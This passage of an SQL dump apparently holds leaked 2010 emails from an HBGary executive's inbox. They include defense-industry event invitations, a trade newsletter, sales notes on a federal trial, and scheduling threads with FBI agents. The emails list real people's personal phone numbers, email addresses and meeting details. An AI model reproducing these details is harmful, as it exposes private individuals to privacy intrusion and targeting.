As the Air Force\'s Senior Official of\r\n          the Intelligence Community he was directly responsible to the Under\r\n          Secretary of Defense for Intelligence. General Deptula has\r\n          significant experience in combat and leadership in several major\r\n          joint contingency operations. He was the principal attack planner for\r\n          the Desert Storm coalition air campaign in 1991. He has twice been a\r\n          Joint Task Force Commander - in 1998/1999 for Operation Northern\r\n          Watch during a period of renewed Iraqi aggression where he flew 82\r\n          combat missions, and for Operation Deep Freeze, supporting forces in\r\n          Antarctica.\r\n          \r\n          Maj. Gen. Suzanne M. &quot;Zan&quot;\r\n          Vautrinot is&nbsp;Director of Plans and Policy, U.S. Cyber\r\n          Command, Fort George G. Meade, Md. She is directly responsible to the\r\n          USCYBERCOM Commander for the development and coordination of existing\r\n          and emerging issues as related to cyberspace operations policy,\r\n          doctrine, organization, capabilities and requirements. She also\r\n          maintains U.S. Strategic Command cyberspace contingency and\r\n          operational plans and the Cyber Capabilities Registry. General\r\n          Vautrinot entered the Air Force after graduating from the U.S. Air\r\n          Force Academy in 1982. She has served as Chief of Operations for 14th\r\n          Air Force and Director of the Aerospace Operations Center at\r\n          Vandenberg AFB, Calif. Her commands include a space warning squadron,\r\n          space operations group,&nbsp;space wing and the Air Force Recruiting\r\n          Service. The general held staff assignments at Headquarters U.S. Air\r\n          Force, U.S. Air Forces in Europe, Headquarters Air Force Space\r\n          Command &amp; the Office of the Chairman of the Joint Chiefs of\r\n          Staff.\r\n          &nbsp;\r\n          \r\n           \r\n            \r\n            Ken Krieg is an Executive in Residence with Renaissance\r\n            Strategic Advisors.&nbsp; He was the Under Secretary of Defense for\r\n            Acquisition, Technology and Logistics from 2005-2007.&nbsp;\r\n            He&nbsp;was responsible for advising the Secretary and Deputy\r\n            Secretary of Defense on all matters relating to the DoD Acquisition\r\n            System, research and development, advanced technology,\r\n            developmental test and evaluation, production, logistics,\r\n            installation management, military construction, procurement and\r\n            environmental security matters. Before his appointment to USD\r\n            (AT&amp;L), Mr. Krieg served at the Department of Defense as\r\n            Special Assistant to the Secretary and Director for Program\r\n            Analysis &amp; Evaluation.&nbsp;&nbsp; Earlier, Mr. Krieg worked in\r\n            a number of defense and foreign policy assignments in Washington,\r\n            DC, including positions at the White House, on the National\r\n            Security Council Staff, and in Office of the Secretary of Defense.\r\n            Bob Kipps is Managing Director and Founder of KippsDeSanto\r\n            &amp; Co. an investment bank focused on delivering exceptional\r\n            results for leading, growth-oriented defense and technology\r\n            companies. Mr. Kipps was a Managing Director and a leader of\r\n            Houlihan Lokey’s Aerospace·Defense·Government industry investment\r\n            banking&nbsp;group. Mr. Kipps was recognized in 2007 as the Deal\r\n            Maker of the Year – Investment Banker by the Association\r\n            for&nbsp;Corporate Growth’s National Capital Chapter. He is on the\r\n            Board of Directors of the National Capital Chapter&nbsp;of the\r\n            Association for Corporate Growth as well as several other defense\r\n            organizations/firms and a member of the&nbsp;Advisory Board for the\r\n            McIntire School of Commerce at the University of Virginia. Mr.\r\n            Kipps is a frequent&nbsp;speaker on mergers and acquisitions\r\n            involving aerospace/defense and IT firms and is often quoted in\r\n            publications including&nbsp;The Washington Post, USA Today,\r\n            Washington Technology, Buyouts and The Washington&nbsp;Times,\r\n            among others.&nbsp;\r\n            \r\n           \r\n          \r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      &nbsp;\r\n      &nbsp;\r\n      CXOs only,\r\n      by invitation only please \r\n      &nbsp;\r\n      Wednesday,\r\n      September 22nd, &nbsp;2010 \r\n      Ritz-Carlton,\r\n      Tysons Corner \r\n      1700 Tysons Boulevard\r\n      McLean,\r\n      VA&nbsp; 22102\r\n      \r\n      4:00 - 4:30 p.m. Registration/Networking\r\n      \r\n      4:30 - 6:30 p.m. Program\r\n      \r\n      6:30 - 7:00 p.m. Cocktails \r\n      \r\n      &nbsp;RSVP\r\n      to\r\n      Pack Fancher at pfancher@kippsdesanto.com \r\n      or phone (202) 997-6169\r\n      \r\n       \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n       \r\n       \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n      &nbsp;\r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  &nbsp;\r\n  \r\n \r\n\r\n\r\n\r\n\r\nK. Packard\r\nFancher&nbsp; \r\n\r\nKippsDeSanto\r\n&amp; Co. \r\n\r\n1600 Tysons\r\nBoulevard \r\n\r\nSuite 375\r\n\r\nMcLean, VA\r\n22102\r\n\r\nDirect:\r\n703.442.1406\r\n\r\nMain:\r\n703.442.1400\r\n\r\nMobile:\r\n202.997.6169\r\n\r\npfancher@kippsdesanto.com\r\n\r\nhttp://www.kippsdesanto.com/\r\n\r\nDISCLAIMER:\r\nThis e-mail is only intended for the person(s) to whom it is addressed and may\r\ncontain confidential information. Unless stated to the contrary, any opinions\r\nor comments are personal to the writer and do not represent the official view\r\nof the company. If you have received this e-mail in error, please notify us\r\nimmediately by reply e-mail and then delete this message from your system.\r\nPlease do not copy it or use it for any purposes, or disclose its contents to\r\nany other person. Thank you for your cooperation.\r\n\r\nCircular 230 Disclosure: Any advice contained in this email (including any\r\nattachments unless expressly stated otherwise) is not intended or written to be\r\nused, and cannot be used, for purposes of avoiding tax penalties that may be\r\nimposed on any taxpayer.\r\n\r\nAlternative Practice Structure Disclosure: McGladrey is the brand under which\r\nRSM McGladrey, Inc. and McGladrey &amp; Pullen, LLP serve clients’ business\r\nneeds. The two firms operate as separate legal entities in an alternative\r\npractice structure.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis message contains confidential information and is intended only\r\nfor the individual named. If you are not the named addressee you should not\r\ndisseminate, distribute or copy this e-mail. Please notify the sender\r\nimmediately by e-mail if you have received this e-mail by mistake and delete\r\nthis e-mail from your system. If you are not the intended recipient you are\r\nnotified that disclosing, copying, distributing or taking any action in\r\nreliance on the contents of this information is strictly prohibited.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11571,'aaron_hbgary_com/11571.html'),(11523,'2010-09-09','\"Pack Fancher\" <pfancher@kippsdesanto.com>','/aaron@hbgary.com/new/1297008679.M900733P14101Q6378.eml','aaron@hbgary.com','Virginia Tech Intelligence & Executive Alumni presents Lady Hokies in National Security','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, \r\n\r\nPlease consider attending this event described below\r\nwhich features Sandy Forney.\r\n\r\nPack\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n     \r\n      \r\n      \r\n      \r\n      \r\n       \r\n        \r\n        Virginia Tech Intelligence and Defense Executive Alumni\r\n        presents:\r\n        Lady Hokies in National Security\r\n        \r\n        \r\n         \r\n          \r\n          You are\r\n          invited to join senior executives from the private and public federal\r\n          sector for a panel discussion with current and former senior\r\n          leadership from National Geospatial-Intelligence Agency, Army Intelligence,\r\n          Cyber SIGINT Group of Northrop Grumman, the Department of Defense\r\n          (Health Affairs) and the Central Intelligence Agency, all of whom are\r\n          Virginia Tech graduates. We are particularly proud to feature “Tish”\r\n          Long, the first woman in the history of the United States to head an\r\n          intelligence agency. \r\n          \r\n         \r\n         \r\n          \r\n         \r\n         \r\n          \r\n          &nbsp;\r\n          \r\n           \r\n            \r\n            Panel:\r\n            &nbsp;\r\n            Ms. Letitia A. Long was appointed Director of the\r\n            National Geospatial-Intelligence Agency August 9, 2010. Prior to\r\n            her appointment, Ms. Long served as the Deputy Director of the\r\n            Defense Intelligence Agency from May 2006 until July 2010.\r\n            Previously, she was the Deputy Under Secretary of Defense for\r\n            Intelligence (Policy, Requirements, and Resources). She also served\r\n            in the positions of Deputy Director of Naval Intelligence and the\r\n            Director of Central Intelligence’s Executive Director for\r\n            Intelligence Community Affairs, responsible for community-wide\r\n            policy formulation, resource planning and program assessment and\r\n            evaluation between. She is the recipient of the Department of\r\n            Defense Medal for Distinguished Civilian Service, the Presidential\r\n            Rank Award of Distinguished Executive, the Navy Distinguished\r\n            Civilian Service Award, the Presidential Rank Award of Meritorious\r\n            Executive (2 awards), the National Intelligence Distinguished\r\n            Service Medal (2 awards) and the Defense Intelligence Agency\r\n            Director’s Award (2 awards).&nbsp;\r\n            &nbsp;\r\n            \r\n            Ellen P. Embrey joined The Cohen Group in June 2010. Ellen\r\n            performed the duties of the Assistant Secretary of Defense for\r\n            Health Affairs and the Director, TRICARE Management Activity during\r\n            the presidential transition period in 2009-2010. &nbsp;In that\r\n            capacity, she was responsible for leading and managing the Military\r\n            Health System, a $47 billion/year defense health program employing\r\n            more than 200,000 health professionals serving more than 9.6\r\n            million service members, retirees and their families in more than\r\n            70 hospitals and 500 clinics and laboratories around the globe.\r\n            From 2002 to 2009, Ms. Embrey was the Deputy Assistant Secretary of\r\n            Defense for Force Health Protection and Readiness, Ellen was\r\n            recognized with the Secretary of Defense\'s Distinguished Civilian\r\n            Service Award in 2001 and 2004, and twice received the Meritorious\r\n            Executive Presidential Rank Award in 2006 and 2009. \r\n            &nbsp;\r\n            \r\n             \r\n              \r\n              \r\n               \r\n               \r\n                \r\n                \r\n                \r\n                \r\n                \r\n                \r\n                \r\n                \r\n                \r\n                \r\n                \r\n                \r\n               \r\n               \r\n               \r\n              \r\n               \r\n              \r\n              &nbsp;\r\n              &nbsp;\r\n              &nbsp;\r\n              Mary Lynn Schnurr is\r\n              the Army Intelligence Chief Information Officer for the Deputy\r\n              Chief of Staff, G-2 (DCS, G-2) and Director of the Intelligence\r\n              Community Information Management Directorate.&nbsp; She plays a\r\n              pivotal role in providing operational and technical advice on\r\n              infrastructure and intelligence community information\r\n              management/information technology (IM/IT) endeavors.&nbsp; She is\r\n              responsible for formulating the strategic management and integration\r\n              of Army Intelligence IM/IT systems with the Joint, National, and\r\n              Intelligence Community intelligence IM/IT systems. Lynn has been awarded both the Decoration for\r\n              Exceptional Civilian Service Award presented by the Secretary of\r\n              the Army and Presidential Rank Award for Distinguished Senior\r\n              Level Professionals presented by President George W. Bush.\r\n              &nbsp;\r\n              \r\n              Sandra J. Forney is the Director of Operations for Cyber &amp;\r\n              SIGINT Systems within Northrop Grumman Information Systems, where\r\n              she leads internal operations and strategic planning for Cyber,\r\n              Special Access, and Airborne Intelligence, Surveillance and\r\n              Reconnaissance (ISR) business areas.&nbsp;&nbsp;In\r\n              this role she is accountable for achieving financial and\r\n              performance goals across the four Operating Units of a $700M+\r\n              organization with over 1400 employees worldwide.&nbsp;&nbsp;Ms.\r\n              Forney has served NGC for 24 years in a variety of leadership and\r\n              technical positions focusing on Cyber, SIGINT, GEOINT, and Network\r\n              Communications solutions for the Intelligence Community, DOD,\r\n              Federal/Civil, and international customers.&nbsp;&nbsp; \r\n              &nbsp;\r\n              Moderator:\r\n              \r\n              Alan Wade retired as the Chief Information Officer (CIO)at\r\n              the end of 2005 after a thirty five year career in the Central\r\n              Intelligence Agency a position he held since 2001. As CIO, he was\r\n              dual-hatted as the Chief Information Officer for the United\r\n              States Intelligence Community. He is a recipient of the National\r\n              Intelligence Distinguished Service Medal, the Director’s Medal,\r\n              and the Distinguished Intelligence Medal. Since retirement, Alan\r\n              has worked with several early stage companies. He served on the\r\n              boards of Safeboot N.V. (acquired by McAfee in 2007) and Detica\r\n              DFI (acquired by BAE Systems in 2008). He currently serves on the\r\n              boards of Composite Software in San Mateo, CA and Chiliad Inc. in\r\n              Washington D.C. Additionally, Alan serves on public sector\r\n              advisory boards of several technology companies, and on the Board\r\n              of the organization of retired CIA officers. \r\n              \r\n             \r\n            \r\n            \r\n            \r\n           \r\n          \r\n          \r\n          \r\n         \r\n        \r\n        &nbsp;\r\n        &nbsp;\r\n        Senior\r\n        Executives only, by invitation only please\r\n        \r\n        &nbsp;\r\n        Tuesday, September 21st, 2010 \r\n        MITRE 1\r\n        Building\r\n        7515\r\n        Colshire Drive\r\n        McLean, VA&nbsp; 22102 \r\n        \r\n        4:15 – 4:45 p.m. Registration/Networking\r\n        &nbsp;\r\n        4:45 –\r\n        5:15 p.m.&nbsp;&nbsp; Lady Hokies in National Security panel discussion\r\n        \r\n        5:15 – 5:45 p.m.&nbsp;&nbsp; VA Tech promotion presentation on VA Tech\r\n        Research and the University\r\n        \r\n        5:45 - 7:30 p.m. Cocktail Reception\r\n        \r\n        &nbsp;RSVP\r\n        to Melissa Curling at mcurling@kippsdesanto.com \r\n        or phone (202) 997-6169\r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n      &nbsp;\r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  &nbsp;\r\n  \r\n \r\n\r\n\r\n\r\n\r\nK. Packard Fancher&nbsp; \r\n\r\nKippsDeSanto &amp; Co. \r\n\r\n1600 Tysons Boulevard \r\n\r\nSuite 375\r\n\r\nMcLean, VA 22102\r\n\r\nDirect: 703.442.1406\r\n\r\nMain: 703.442.1400\r\n\r\nMobile: 202.997.6169\r\n\r\npfancher@kippsdesanto.com\r\n\r\nhttp://www.kippsdesanto.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13492,'aaron_hbgary_com/13492.html'),(11524,'2010-09-09','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297008680.M154660P14101Q6379.eml','\"Barr Aaron\" <aaron@hbgary.com>','ok, losing my mind','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI&#8217;ve done something nifty with the email you sent\r\nabout borrowing a Scout. I sorted thousands of messages Friday night (but I thought\r\nit came after that) and confused myself, Outlook, &nbsp;and even Google desktop so\r\nthat I now cannot find it&#8230;\r\n\r\n&nbsp;\r\n\r\nI wanted to reread it, and see what the timeframe was so I\r\ncan ask my SE if he can loan you his. Sorry to be a dunce!\r\n\r\nMary\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMary Sullivan | Federal Sales Manager | Fidelis Security\r\nSystems, Inc.\r\nD 240-396-2446 | M 301-980-1308 | mary.sullivan@fidelissecurity.com\r\n| www.fidelissecurity.com\r\n\r\n&nbsp;\r\n\r\nSee It | Study It | Stop It with Fidelis XPS:&nbsp; http://www.youtube.com/fidsecsys.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12423,'aaron_hbgary_com/12423.html'),(11525,'2010-09-09','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297008680.M436754P14101Q6380.eml','aaron@hbgary.com','Cyber Contractors Partner with Smaller Firms for Specialized Monitoring services','&nbsp; \r\n\r\n\r\n\r\n\r\nView in Browser\r\n \r\n\r\nSign Up&nbsp;| Forward | Visit Our Blog | Jobs\r\n | About Us GovconWire | ExecutiveGov | The New New\r\n Internet | GovCon Executive&nbsp; | GovConExec\r\n Magazine\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\nBy Jim\r\n GarrettsonSeptember 9,\r\n 2010\r\nCyber Contractors Partner with Smaller Firms for Specialized\r\n Monitoring servicesLarge defense contractors are increasingly readying to bid\r\n for cybersecurity work by buying or partnering with smaller firms that specialize\r\n in closely monitoring the data that courses over communications networks, The\r\n Washington Post reports.&nbsp; Click here to read\r\n more\r\n\r\n\r\n\r\n&nbsp;\r\nA special cyber edition of GovCon Exec is\r\n coming in September - read\r\n about the contracting community\'s efforts to take the government\'s cyber abilities\r\n to the next level. Click Here\r\n to SubscribeHarris Picks Mike Deloney to Lead DoD IT Programs; John Heller\r\n SpeaksHarris Corporation (NYSE:HRS) named Mike Deloney vice president and\r\n general manager of Department of Defense (DoD) Programs for its IT services\r\n business, where he will report to the man he succeeds, John Heller who has moved\r\n up to head Harris IT Services.&nbsp; Click here to read\r\n moreSenators: Cyber Self-Defense Essential to Security in the \'Wild, Wild\r\n Web\'Following\r\n a six-month, bipartisan study, Sens. Sheldon Whitehouse (D-RI), Barbara Mikulski\r\n (D-MD) and Olympia Snowe (R-ME) have concluded that by following simple\r\n precautions like using and updating anti-virus software, average internet users\r\n can help secure America\'s information networks. Click here to read\r\n morePay with Cash, Reduce Cancer\r\n Risk?&nbsp;Controversial plastic hardener bisphenol-A (BPA), best known\r\n for the extensively-reported controversy over its use in plastic baby bottles and\r\n sippy cups, has shown up somewhere new: receipts from retail cash\r\n registers.&nbsp;Click here to read\r\n more&nbsp;Dr. Ray Johnson of Lockheed\r\n Martin:&nbsp; Promoting Science & Engineering is a \'National\r\n Imperative\'The Pacific Northwest Science and Engineering Festival (PNSEF) has kicked\r\n off as a satellite prelude to the USA Science and Engineering Festival to be held\r\n in Washington, D.C. Oct. 10-24.&nbsp;Click here to read\r\n more\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBeyond\r\n business as usual: Nine ideas for the Next Generation Enterprise from leading\r\n CIOsThe days\r\n of business as usual are over. Especially for CIOs.Gone are the days when it was enough to keep\r\n the lights on. Or know the ins and outs of server and storage capacity.\r\n\r\n &nbsp;\r\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n &nbsp;Top Row (lt.-rt.) John George Vangent, Mark Ives\r\n Alion, Robin Johnson Dell , Bernie McVey NorthropGrumman, Bob Fecteau BAE\r\n Systems Bottom Row (lt.-rt.) Federico Genoese-Zerbi IT\r\n Business Partners, Brian Michl SRA, David Spannare USIS, Barbie\r\n BigelowTASCClick\r\n here to read more\r\n \r\nPragmatics Names Max Hall, Stephen Hughes to Executive Management\r\n TeamSecurity Expert\r\n Richard Clarke to Address Potomac Officers Club October\r\n 5CSC Brings in Ed Meagher to Lead Public\r\n Sector Civil and Health Services Group; Robert Wah Comments&nbsp;SAIC\'s Amy Alving to Speak at Women\r\n in Computing Event\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n&nbsp; Booz Allen, Lockheed Martin, Northrop\r\n Grumman Win Navy Deals\r\n \r\nLockheed\r\n Martin, ITT Ink Air Force Deals\r\nNorthrop\r\n Grumman Snags Valuable C-RAM Contract\r\nBAE\r\n Readies for Work on Lucrative Mine-Resistant Vehicle Enhancement\r\n Contract\r\nBoeing,\r\n Raytheon, ManTech Win DoD Deals CSC Brings in\r\n Ed Meagher to Lead Public Sector Civil and Health Services Group; Robert Wah\r\n Comments \r\nSheila Cheston\r\n Takes Over as NGC\'s General Counsel, Wes Bush Speaks Click Here for More GovConwire \r\nSymantec\r\n Launches New Products to Help Businesses Manage Info\r\nStolen Funds\r\n from University of Virginia Recovered\r\nGenachowski,\r\n FCC Continue Net Neutrality Battle\r\nBids Open for\r\n New Cyber-Insider Threat Program\r\nSAIC\'s Profit\r\n Grows after Refocus on Cybersecurity\r\nClick Here for More from The New New\r\n Internet\r\n \r\n&nbsp;\r\n\'Cyber\r\n Slacking\' Costs Employers a Pretty Penny, Says New Study\r\nHarris Expands\r\n Philanthropic Efforts\r\nCyber-Risk\r\n Report Reveals Vulnerability Disclosures Reached All-Time High in\r\n 2010\r\nCloud Computing\r\n Gives Hackers More Opportunities, Says Survey\r\nNetWitness\r\n Named Fastest-Growing Business in D.C.\r\nClick Here for More\r\n from GovCon Executive  Obama to\r\n Announce Tax Incentive for Businesses \r\nBWI Airport,\r\n Workers to Benefit From Recovery Act Funds\r\nChanges in\r\n Technology Export Rules Could Open Door for Business\r\nStudy: EHR\r\n Revenue to Double by 2012\r\nNavy Tackles\r\n Chesapeake Bay Cleanup Job\r\n&nbsp;\r\nClick Here for More from ExecutiveGov \r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\nSHARE THIS EMAIL:FacebookTwitterLinkedInDiggMySpace\r\n\r\n\r\n\r\n \r\n\r\nPragmatics Names Max Hall, Stephen Hughes to\r\n Executive Management TeamPragmatics today appointed Max\r\n Hall and Stephen Hughes to the company\'s executive management team.&nbsp;Click here to read\r\n more&nbsp;Security Expert\r\n Richard Clarke to Address Potomac Officers Club October\r\n 5Richard A. Clarke is an\r\n internationally-recognized expert on security, including homeland security,\r\n national security, cyber security, and counterterrorism. He is currently an on-air\r\n consultant for ABC News and teaches at Harvard\'s Kennedy School of\r\n Government.&nbsp; Click here to\r\n for more information and to\r\n register&nbsp;CSC Brings in Ed Meagher to Lead\r\n Public Sector Civil and Health Services Group; Robert Wah\r\n CommentsCSC (NYSE: CSC) has named\r\n Edward Meagher to the position of senior executive adviser and vice president for\r\n the North American Public Sector Civil and Health Services\r\n Group.&nbsp;Click here to read\r\n moreSAIC\'s Amy Alving to Speak at Women\r\n in Computing Event&nbsp;SAIC Chief Technology Officer and Senior Vice President Dr. Amy\r\n Alving will be speaking at the third annual Plenary Panel of Technology Executives\r\n for the 10th annual Grace Hopper Celebration of Women in Computing, held Sept.\r\n 28-Oct. 2 in Atlanta, Ga. Click here to read\r\n more\r\n\r\nA Letter from the EditorThrough our weekly emagazine and daily blog, ExecutiveBiz offers our readership an insider\'s\r\n view of news and trends shaping small, medium, and large companies within\r\n industries such as defense, technology, and health care.&nbsp; In addition to our\r\n daily blog, we\'ve launched four new media properties, GovConWire, GovConExecutive, ExecutiveGov, and TheNewNewInternet. Each week, we deliver in-depth profiles of\r\n industry leaders, candid Q&As, plus the latest news and trends, and value-add\r\n information to help you do your job better.&nbsp; You\'re a big part of the\r\n equation both online and off &#8212; which is why we want to hear from you. Have a\r\n story tip? Or an idea for a speaking event? Feel free to contact me direct. You\r\n can also follow us on Twitter, Facebook, and LinkedIn.\r\n\r\nJ.D. KathuriaEditor-in-chief ExecutiveBizo: 703-226-7010&nbsp;\r\n &nbsp;jd@executivebiz.com&nbsp;&nbsp;\r\n \r\n\r\n\r\n\r\n\r\nExecutiveBiz, 8230 Old\r\n Courthouse RoadVienna, VA 22181Update PreferencesList\r\n Unsubscribe\r\n',4061,'aaron_hbgary_com/4061.html'),(11526,'2010-09-09','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008680.M734807P14101Q6381.eml','\"Penny C. Hoglund\" <penny@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Executive Office of the President','StatusVery impressed with Active DefenseSome &quot;minor&quot; improvement suggestionsEventhough he had read up on the searching capabilties he didn&#39;t understand until he had hands-on\r\nSearching and reporting are &quot;amazing&quot;Hasn&#39;t found the smoking gun yetHas search 300 nodesThe product works wellSome issues with scoring -- more a feature of white listing\r\nMore value than Responder Pro because of White Listing capabilitiesSees value even without smoking gunNext StepsResolve a technical issue with Charles (Rich you may want to follow up with Charles on this)\r\nDeploy to more agentsSetup a test bed of &quot;known&quot; malware to get a better handle on detectionReport to the CIODiscuss pricing options  after we find the &quot;smoking&quot; gun and after he gets a handle on availability of funds...\r\nContinue testing -- comparisons of speed with Encase; more endpoints to find unknown malwareBrian is really impressed and he would like to keep the software.  He asked if we could be flexible on pricing short-term or provide a 500 license solution etc.  I told him that we will work with him on a solution for a purchase for a perpetual license long-term and a shorter term solution while funds are identified and Active Defense is in procurement.  I told him that we would need to present to the CIO and get his buy-in.  Brian said not a problem he wants to first do more testing to find the smoking gun.\r\nBrian will also speak with Alma Cole and invite him over -- again he wants to find the smoking gun first -- and show Alma that Active Defense is a better solution than MIR.  He said that he has a good relationship with Alma where he can do this.\r\nBrian said when he meets with the CIO that it would be &quot;ideal&quot; if Greg could also attend with Rich.  His CIO does not like vendors..... but he thinks that Rich and Greg together would be impressive.\r\nHe says THANK YOU for the wine he was really impressed with that as well-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n\r\n',6427,'aaron_hbgary_com/6427.html'),(11527,'2010-09-09','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008694.M105554P14101Q6382.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Blackhat talk','\r\nOn Thu, Sep 9, 2010 at 5:34 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nGreg,Can u send me the latest copy of your tracking cyber criminals slides?AaronSent from my iPhone\r\n\r\n',5081,'aaron_hbgary_com/5081.html'),(11528,'2010-09-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008695.M618490P14101Q6383.eml','\"Windle, Amanda J\" <Amanda.Windle@mantech.com>','Re: Canceled: Gatorbait Daily Standup','I\'m  here. :)\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 7, 2010, at 9:46 AM, \"Windle, Amanda J\"\r\n wrote:\r\n\r\n> \r\n',8768,'aaron_hbgary_com/8768.html'),(11529,'2010-09-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008695.M866230P14101Q6384.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Blackhat talk','Thanks.\r\n\r\nAnyway to add IOC search to the tmc?  Uscert doesn\'t find ddna for\r\ntheir malware typically helpful.  I briefed them today on where we are\r\ngoing with it and they like it but would like the IOC capability.\r\n\r\nAlso would like to talk to you about how to produce more detailed\r\ndata.  Is their an API to responder or recon?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 9, 2010, at 12:26 PM, Greg Hoglund  wrote:\r\n\r\n> On Thu, Sep 9, 2010 at 5:34 AM, Aaron Barr  wrote:\r\n>\r\n>> Greg,\r\n>>\r\n>> Can u send me the latest copy of your tracking cyber criminals slides?\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPhone\r\n>>\r\n> \r\n',4099,'aaron_hbgary_com/4099.html'),(11530,'2010-09-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008696.M328557P14101Q6386.eml','\"Geary, Christopher A.\" <Christopher.Geary@ic.fbi.gov>,\"Geary, Christopher A.\" <Christopher.Geary@ic.fbi.gov>,','Re: HB Gary Presentation','Yes.  Look forward to it.  I will send out the meeting notice.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 8, 2010, at 4:53 PM, \"Geary, Christopher A.\"\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n> Listed below are the attendees from Cyber Division HQ:\r\n>\r\n> SSA Chris Geary                        Christopher.geary@ic.fbi.gov\r\n> AD Special Advisor  Bill Jones    William.Jones3@ic.fbi.gov\r\n> SSA Zach Delecki                        Zachary.Delecki@ic.fbi.gov\r\n>\r\n>\r\n> The date of the meeting will be 09/15/2010 from 1:30 to 3:30 PM at your Tyson\'s Corner office space, correct?\r\n>\r\n> Chris\r\n>\r\n>\r\n> SSA Christopher A. Geary\r\n> CERT/CC Liaison\r\n> 3238 CIC\r\n> Pittsburgh, PA 15213\r\n>\r\n> (412) 268-9244\r\n> ________________________________________\r\n> From: Aaron Barr [aaron@hbgary.com]\r\n> Sent: Wednesday, September 08, 2010 12:59 PM\r\n> To: Geary, Christopher A.\r\n> Subject: Re: FIRST Conference in Miami\r\n>\r\n> That will be fine.  Would you like me to send out a meeting notice?\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On Sep 8, 2010, at 10:45 AM, \"Geary, Christopher A.\"\r\n>  wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> If possible, this would be for Wednesday (09/15/2010) from 1:30 to 3:30 at your location in TC.  If this doesn\'t work with your schedule, we could reschedule for another day the next week.\r\n>>\r\n>> Thanks,\r\n>>\r\n>> Chris\r\n>>\r\n>>\r\n>> SSA Christopher A. Geary\r\n>> CERT/CC Liaison\r\n>> 3238 CIC\r\n>> Pittsburgh, PA 15213\r\n>>\r\n>> (412) 268-9244\r\n>> ________________________________________\r\n>> From: Aaron Barr [aaron@hbgary.com]\r\n>> Sent: Tuesday, September 07, 2010 9:52 PM\r\n>> To: Geary, Christopher A.\r\n>> Subject: Re: FIRST Conference in Miami\r\n>>\r\n>> is this for next Wed? or another day?\r\n>> Aaron\r\n>>\r\n>> On Sep 7, 2010, at 5:01 PM, Geary, Christopher A. wrote:\r\n>>\r\n>>> Aaron, Tysons would be fine.  I\'m still waiting to hear back from a couple of people.  Does the afternoon work for you, say 1:30 to 3:30?\r\n>>>\r\n>>> Chris\r\n>>>\r\n>>> ----- Original Message -----\r\n>>> From: Aaron Barr \r\n>>> To: Geary, Christopher A.\r\n>>> Sent: Tue Sep 07 16:56:42 2010\r\n>>> Subject: Re: FIRST Conference in Miami\r\n>>>\r\n>>> Sure.  I normally use the offices in Tysons Corner but I can check\r\n>>> other locations that might be closer to you.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> Sent from my iPhone\r\n>>>\r\n>>> On Sep 7, 2010, at 4:41 PM, \"Geary, Christopher A.\"\r\n>>>  wrote:\r\n>>>\r\n>>>> Aaron,\r\n>>>>\r\n>>>>\r\n>>>> Where would you want to meet? You mentioned your Regus offices, where is that located?  Sorry I am not familiar with D.C.\r\n>>>>\r\n>>>> Chris\r\n>>>>\r\n>>>>\r\n>>>> SSA Christopher A. Geary\r\n>>>> CERT/CC Liaison\r\n>>>> 3238 CIC\r\n>>>> Pittsburgh, PA 